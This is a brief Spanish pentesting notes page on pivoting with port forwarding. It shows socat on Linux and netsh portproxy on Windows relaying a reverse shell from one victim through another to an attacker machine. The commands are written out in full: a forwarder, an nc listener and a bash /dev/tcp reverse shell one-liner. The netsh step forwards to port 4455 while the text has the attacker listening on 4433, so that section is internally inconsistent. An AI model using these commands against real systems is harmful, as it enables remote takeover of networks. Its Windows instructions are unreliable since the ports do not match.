Comment on page

Port Forwarding

Socat (Linux)

Si necesitamos reenviar el trafico que llega a un puerto hacia otra máquina con la que tengamos conexión, podemos usar socat:
Tenemos dos máquina victimas Linux y la nuestra de atacante, queremos obtener una reverse shell desde Victima2 a Atacante, pero Victima2 solo tiene conexión con Victima1, para eso usamos el redireccionamiento de puertos.
En Victima1 levantamos socat indicando:
socat TCP-LISTEN:4455,fork TCP:192.168.20.4:4433
Le estamos indicando que toda conexión que llegue contra el puerto 4455 sea redirigido hacia el puerto 4433 de la dirección 192.168.20.4 (Atacante), levantemos ese puerto:
nc -lvp 4433
Y enviamos la shell desde Victima2 a Victima1:
bash -c 'bash -i >& /dev/tcp/172.18.100.16/4455 0>&1'
Listos.

Netsh (Windows)

Imagina el mismo escenario de arriba, pero ahora Victima1 esta corriendo el sistema operativo Windows, basicamente es lo mismo, solo que en lugar de socat usamos netsh:
netsh interface portproxy add v4tov4 listenaddress=172.18.100.16 listenport=4455 connectaddress=192.168.20.4 connectport=4455
Pueda que el comando no genere ningún output y pareciera que no se ejecutó, pero podemos validar la conexión ejecutando:
netsh interface portproxy show v4tov4
Y listones, nos pondriamos en escucha desde Atacante por el puerto 4433 y luego, desde Victima2 enviariamos la conexión con una reverse shell hacia Victima1 por el puerto 4455.